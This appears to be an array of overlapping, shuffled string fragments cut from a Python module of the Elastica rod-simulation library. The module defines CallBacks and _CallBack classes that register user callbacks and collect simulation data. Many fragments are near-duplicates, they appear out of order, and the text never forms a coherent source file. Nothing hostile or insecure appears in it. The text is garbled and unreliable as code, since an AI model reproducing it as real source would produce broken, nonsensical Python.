"and use rod number (x[0]) # to sort callbacks. self._callbacks.sort(key=lambda",
"object System is a rod-like object. Returns ------- \"\"\" sys_idx",
"collect data. # Technically we can use another array but",
"interface to collect data over time (see `callback_functions.py`). \"\"\" from",
"user-defined call-back classes for a user-defined system or rod-like object.",
"from the simulation, the simulator class has to be derived",
"use rod number (x[0]) # to sort callbacks. self._callbacks.sort(key=lambda x:",
"# _callbacks contains list of tuples. First element of tuple",
"self._callbacks: callback.make_callback( self._systems[sys_id], time, current_step, *args, **kwargs ) class _CallBack:",
"User defined callback class. *args Variable length argument list **kwargs",
"self._callbacks.append(_callbacks) return _callbacks def _finalize(self): # From stored _CallBack objects,",
"to call\" \"the `using` method\".format(self.id()) ) try: return self._callback_cls(*self._args, **self._kwargs)",
"rod id {0}\" \"but a callback was registered. Did you",
"such as # [(0, MyCallBack), (1, MyVelocityCallBack), ... ] #",
"Variable length argument list **kwargs Arbitrary keyword arguments. Returns -------",
"_Constraint object, cache it and return to user _callbacks =",
"of boundary condition such as # [(0, MyCallBack), (1, MyVelocityCallBack),",
"def id(self): return self._sys_idx def __call__(self, *args, **kwargs): \"\"\"Constructs a",
"() self._kwargs = {} def using(self, callback_cls, *args, **kwargs): \"\"\"",
"on rod id {0}\" \"but a callback was registered. Did",
"from the CallBacks class. Attributes ---------- _callbacks: list List of",
"tuple is rod number and # following elements are the",
"sys_idx: int): \"\"\" Parameters ---------- sys_idx: int \"\"\" self._sys_idx =",
"callback class.\\n\" r\"Did you provide all necessary callback properties?\" )",
"self._sys_idx def __call__(self, *args, **kwargs): \"\"\"Constructs a callback functions after",
"condition such as # [(0, MyCallBack), (1, MyVelocityCallBack), ... ]",
"system or rod-like object that you want to collect data",
"MyVelocityCallBack), ... ] # Thus using lambda we iterate over",
"__init__(self): self._callbacks = [] super(CallBacks, self).__init__() def collect_diagnostics(self, system): \"\"\"",
"as above naming of _callBack function def _callBack(self, time, current_step:",
"length argument list **kwargs Arbitrary keyword arguments. Returns ------- \"\"\"",
"self._callback_cls = callback_cls self._args = args self._kwargs = kwargs return",
"self._get_sys_idx_if_valid(system) # Create _Constraint object, cache it and return to",
"boundary condition such as # [(0, MyCallBack), (1, MyVelocityCallBack), ...",
"From stored _CallBack objects, instantiate the boundary conditions # inplace",
"_callBack(self, time, current_step: int, *args, **kwargs): for sys_id, callback in",
"x[0]) self._callBack(time=0.0, current_step=0) # TODO: same as above naming of",
"use another array but it its one more book-keeping #",
"# From stored _CallBack objects, instantiate the boundary conditions #",
"not self._callback_cls: raise RuntimeError( \"No callback provided to act on",
"lowest id to highest id for potentially better memory access",
"You need to input the system or rod-like object that",
"and # following elements are the type of boundary condition",
"self._args = () self._kwargs = {} def using(self, callback_cls, *args,",
"objects, instantiate the boundary conditions # inplace : https://stackoverflow.com/a/1208792 #",
"This method is a wrapper to set which callback class",
"back. Did you forget to derive from CallBackClass?\".format( callback_cls )",
"= \"\"\" CallBacks ----------- Provides the callBack interface to collect",
"defined rod-like object. Parameters ---------- callback_cls: object User defined callback",
"you want to collect data from. Parameters ---------- system: object",
"a rod-like object. Returns ------- \"\"\" sys_idx = self._get_sys_idx_if_valid(system) #",
"return to user _callbacks = _CallBack(sys_idx) self._callbacks.append(_callbacks) return _callbacks def",
"= callback_cls self._args = args self._kwargs = kwargs return self",
"Parameters ---------- system: object System is a rod-like object. Returns",
"= None self._args = () self._kwargs = {} def using(self,",
"list of tuples and use rod number (x[0]) # to",
"return self._callback_cls(*self._args, **self._kwargs) except (TypeError, IndexError): raise TypeError( r\"Unable to",
"the user. If the user wants to collect data from",
"the user wants to collect data from the simulation, the",
"_CallBack(sys_idx) self._callbacks.append(_callbacks) return _callbacks def _finalize(self): # From stored _CallBack",
"**kwargs ) class _CallBack: \"\"\" CallBack wrapper private class Attributes",
"__call__(self, *args, **kwargs): \"\"\"Constructs a callback functions after checks Parameters",
"# TODO: same as above naming of _callBack function def",
"class Attributes ---------- _sys_idx: rod object index _callback_cls: list *args",
"def __call__(self, *args, **kwargs): \"\"\"Constructs a callback functions after checks",
"IndexError): raise TypeError( r\"Unable to construct callback class.\\n\" r\"Did you",
"rod-like objects. \"\"\" def __init__(self): self._callbacks = [] super(CallBacks, self).__init__()",
"data. # Technically we can use another array but it",
"object. Parameters ---------- callback_cls: object User defined callback class. *args",
"First element of tuple is rod number and # following",
"= {} def using(self, callback_cls, *args, **kwargs): \"\"\" This method",
"stored _CallBack objects, instantiate the boundary conditions # inplace :",
"keyword arguments. Returns ------- \"\"\" assert issubclass( callback_cls, CallBackBaseClass ),",
"# Create _Constraint object, cache it and return to user",
"r\"Unable to construct callback class.\\n\" r\"Did you provide all necessary",
"is a rod-like object. Returns ------- \"\"\" sys_idx = self._get_sys_idx_if_valid(system)",
"raise TypeError( r\"Unable to construct callback class.\\n\" r\"Did you provide",
"time, current_step: int, *args, **kwargs): for sys_id, callback in self._callbacks:",
"*args, **kwargs ) class _CallBack: \"\"\" CallBack wrapper private class",
"type of boundary condition such as # [(0, MyCallBack), (1,",
") class _CallBack: \"\"\" CallBack wrapper private class Attributes ----------",
"\"\"\" if not self._callback_cls: raise RuntimeError( \"No callback provided to",
"instantiate the boundary conditions # inplace : https://stackoverflow.com/a/1208792 # dev",
"the same array self._callbacks[:] = [ (callback.id(), callback(self._systems[callback.id()])) for callback",
"elements are the type of boundary condition such as #",
"current_step=0) # TODO: same as above naming of _callBack function",
"in self._callbacks: callback.make_callback( self._systems[sys_id], time, current_step, *args, **kwargs ) class",
"---------- system: object System is a rod-like object. Returns -------",
"current_step, *args, **kwargs ) class _CallBack: \"\"\" CallBack wrapper private",
"self def id(self): return self._sys_idx def __call__(self, *args, **kwargs): \"\"\"Constructs",
"{0}\" \"but a callback was registered. Did you forget to",
"to collect data from. Parameters ---------- system: object System is",
"try: return self._callback_cls(*self._args, **self._kwargs) except (TypeError, IndexError): raise TypeError( r\"Unable",
"first index stores the rod index to collect data. #",
"step. Being lazy, I put them both in the same",
"(1, MyVelocityCallBack), ... ] # Thus using lambda we iterate",
"a wrapper for calling callback functions, set by the user.",
"stores the rod index to collect data. # Technically we",
"\"the `using` method\".format(self.id()) ) try: return self._callback_cls(*self._args, **self._kwargs) except (TypeError,",
"but it its one more book-keeping # step. Being lazy,",
"is a wrapper for calling callback functions, set by the",
"{} def using(self, callback_cls, *args, **kwargs): \"\"\" This method is",
"highest id for potentially better memory access # _callbacks contains",
"---------- _callbacks: list List of call back classes defined for",
"self._callback_cls: raise RuntimeError( \"No callback provided to act on rod",
"system: object System is a rod-like object. Returns ------- \"\"\"",
"collect data from. Parameters ---------- system: object System is a",
"= args self._kwargs = kwargs return self def id(self): return",
"wants to collect data from the simulation, the simulator class",
"elastica.callback_functions import CallBackBaseClass class CallBacks: \"\"\" CallBacks class is a",
"self._callback_cls(*self._args, **self._kwargs) except (TypeError, IndexError): raise TypeError( r\"Unable to construct",
"using lambda we iterate over the list of tuples and",
"callback functions after checks Parameters ---------- args kwargs Returns -------",
"If the user wants to collect data from the simulation,",
"self).__init__() def collect_diagnostics(self, system): \"\"\" This method calls user-defined call-back",
"id {0}\" \"but a callback was registered. Did you forget",
"forget to derive from CallBackClass?\".format( callback_cls ) self._callback_cls = callback_cls",
"to collect data from user defined rod-like object. Parameters ----------",
"callback(self._systems[callback.id()])) for callback in self._callbacks ] # Sort from lowest",
"to user _callbacks = _CallBack(sys_idx) self._callbacks.append(_callbacks) return _callbacks def _finalize(self):",
"for calling callback functions, set by the user. If the",
"is a wrapper to set which callback class is used",
"lazy, I put them both in the same array self._callbacks[:]",
"same array self._callbacks[:] = [ (callback.id(), callback(self._systems[callback.id()])) for callback in",
"\"\"\"Constructs a callback functions after checks Parameters ---------- args kwargs",
"`using` method\".format(self.id()) ) try: return self._callback_cls(*self._args, **self._kwargs) except (TypeError, IndexError):",
"Create _Constraint object, cache it and return to user _callbacks",
"self._callbacks ] # Sort from lowest id to highest id",
"TypeError( r\"Unable to construct callback class.\\n\" r\"Did you provide all",
"(callback.id(), callback(self._systems[callback.id()])) for callback in self._callbacks ] # Sort from",
"callback class. *args Variable length argument list **kwargs Arbitrary keyword",
"\"\"\" sys_idx = self._get_sys_idx_if_valid(system) # Create _Constraint object, cache it",
"you forget to derive from CallBackClass?\".format( callback_cls ) self._callback_cls =",
"I put them both in the same array self._callbacks[:] =",
"object that you want to collect data from. Parameters ----------",
"callback_cls self._args = args self._kwargs = kwargs return self def",
"_finalize(self): # From stored _CallBack objects, instantiate the boundary conditions",
"# following elements are the type of boundary condition such",
"assert issubclass( callback_cls, CallBackBaseClass ), \"{} is not a valid",
"calling callback functions, set by the user. If the user",
"\"\"\" CallBack wrapper private class Attributes ---------- _sys_idx: rod object",
"function def _callBack(self, time, current_step: int, *args, **kwargs): for sys_id,",
"wrapper to set which callback class is used to collect",
"potentially better memory access # _callbacks contains list of tuples.",
"current_step: int, *args, **kwargs): for sys_id, callback in self._callbacks: callback.make_callback(",
"return self._sys_idx def __call__(self, *args, **kwargs): \"\"\"Constructs a callback functions",
"of _callBack function def _callBack(self, time, current_step: int, *args, **kwargs):",
"data from user defined rod-like object. Parameters ---------- callback_cls: object",
"System is a rod-like object. Returns ------- \"\"\" sys_idx =",
"dev : the first index stores the rod index to",
"= _CallBack(sys_idx) self._callbacks.append(_callbacks) return _callbacks def _finalize(self): # From stored",
"argument list. **kwargs Arbitrary keyword arguments. \"\"\" def __init__(self, sys_idx:",
"list **kwargs Arbitrary keyword arguments. Returns ------- \"\"\" assert issubclass(",
"----------- Provides the callBack interface to collect data over time",
"import CallBackBaseClass class CallBacks: \"\"\" CallBacks class is a wrapper",
"derive from CallBackClass?\".format( callback_cls ) self._callback_cls = callback_cls self._args =",
"a callback was registered. Did you forget to call\" \"the",
"self._callbacks = [] super(CallBacks, self).__init__() def collect_diagnostics(self, system): \"\"\" This",
"self._callbacks[:] = [ (callback.id(), callback(self._systems[callback.id()])) for callback in self._callbacks ]",
"self._sys_idx = sys_idx self._callback_cls = None self._args = () self._kwargs",
"to be derived from the CallBacks class. Attributes ---------- _callbacks:",
"issubclass( callback_cls, CallBackBaseClass ), \"{} is not a valid call",
"calls user-defined call-back classes for a user-defined system or rod-like",
"it its one more book-keeping # step. Being lazy, I",
"), \"{} is not a valid call back. Did you",
"int): \"\"\" Parameters ---------- sys_idx: int \"\"\" self._sys_idx = sys_idx",
"sys_idx self._callback_cls = None self._args = () self._kwargs = {}",
"one more book-keeping # step. Being lazy, I put them",
"CallBacks class. Attributes ---------- _callbacks: list List of call back",
"its one more book-keeping # step. Being lazy, I put",
"collect_diagnostics(self, system): \"\"\" This method calls user-defined call-back classes for",
"call back classes defined for rod-like objects. \"\"\" def __init__(self):",
"rod number and # following elements are the type of",
"the first index stores the rod index to collect data.",
"callback was registered. Did you forget to call\" \"the `using`",
"x: x[0]) self._callBack(time=0.0, current_step=0) # TODO: same as above naming",
"time (see `callback_functions.py`). \"\"\" from elastica.callback_functions import CallBackBaseClass class CallBacks:",
"list List of call back classes defined for rod-like objects.",
"tuples. First element of tuple is rod number and #",
"index _callback_cls: list *args Variable length argument list. **kwargs Arbitrary",
"rod index to collect data. # Technically we can use",
"conditions # inplace : https://stackoverflow.com/a/1208792 # dev : the first",
"for a user-defined system or rod-like object. You need to",
"] # Sort from lowest id to highest id for",
"back classes defined for rod-like objects. \"\"\" def __init__(self): self._callbacks",
"callback_cls, *args, **kwargs): \"\"\" This method is a wrapper to",
"**kwargs): \"\"\" This method is a wrapper to set which",
"object. You need to input the system or rod-like object",
"to highest id for potentially better memory access # _callbacks",
"them both in the same array self._callbacks[:] = [ (callback.id(),",
"Technically we can use another array but it its one",
"__doc__ = \"\"\" CallBacks ----------- Provides the callBack interface to",
"self._args = args self._kwargs = kwargs return self def id(self):",
"_CallBack: \"\"\" CallBack wrapper private class Attributes ---------- _sys_idx: rod",
"List of call back classes defined for rod-like objects. \"\"\"",
"defined for rod-like objects. \"\"\" def __init__(self): self._callbacks = []",
"checks Parameters ---------- args kwargs Returns ------- \"\"\" if not",
"class is a wrapper for calling callback functions, set by",
"callback functions, set by the user. If the user wants",
"callback in self._callbacks: callback.make_callback( self._systems[sys_id], time, current_step, *args, **kwargs )",
"both in the same array self._callbacks[:] = [ (callback.id(), callback(self._systems[callback.id()]))",
"it and return to user _callbacks = _CallBack(sys_idx) self._callbacks.append(_callbacks) return",
"object User defined callback class. *args Variable length argument list",
"after checks Parameters ---------- args kwargs Returns ------- \"\"\" if",
"data over time (see `callback_functions.py`). \"\"\" from elastica.callback_functions import CallBackBaseClass",
"number and # following elements are the type of boundary",
"to derive from CallBackClass?\".format( callback_cls ) self._callback_cls = callback_cls self._args",
"that you want to collect data from. Parameters ---------- system:",
"------- \"\"\" if not self._callback_cls: raise RuntimeError( \"No callback provided",
"wrapper for calling callback functions, set by the user. If",
"(see `callback_functions.py`). \"\"\" from elastica.callback_functions import CallBackBaseClass class CallBacks: \"\"\"",
"super(CallBacks, self).__init__() def collect_diagnostics(self, system): \"\"\" This method calls user-defined",
"for callback in self._callbacks ] # Sort from lowest id",
"id(self): return self._sys_idx def __call__(self, *args, **kwargs): \"\"\"Constructs a callback",
"derived from the CallBacks class. Attributes ---------- _callbacks: list List",
"system): \"\"\" This method calls user-defined call-back classes for a",
"= () self._kwargs = {} def using(self, callback_cls, *args, **kwargs):"
] |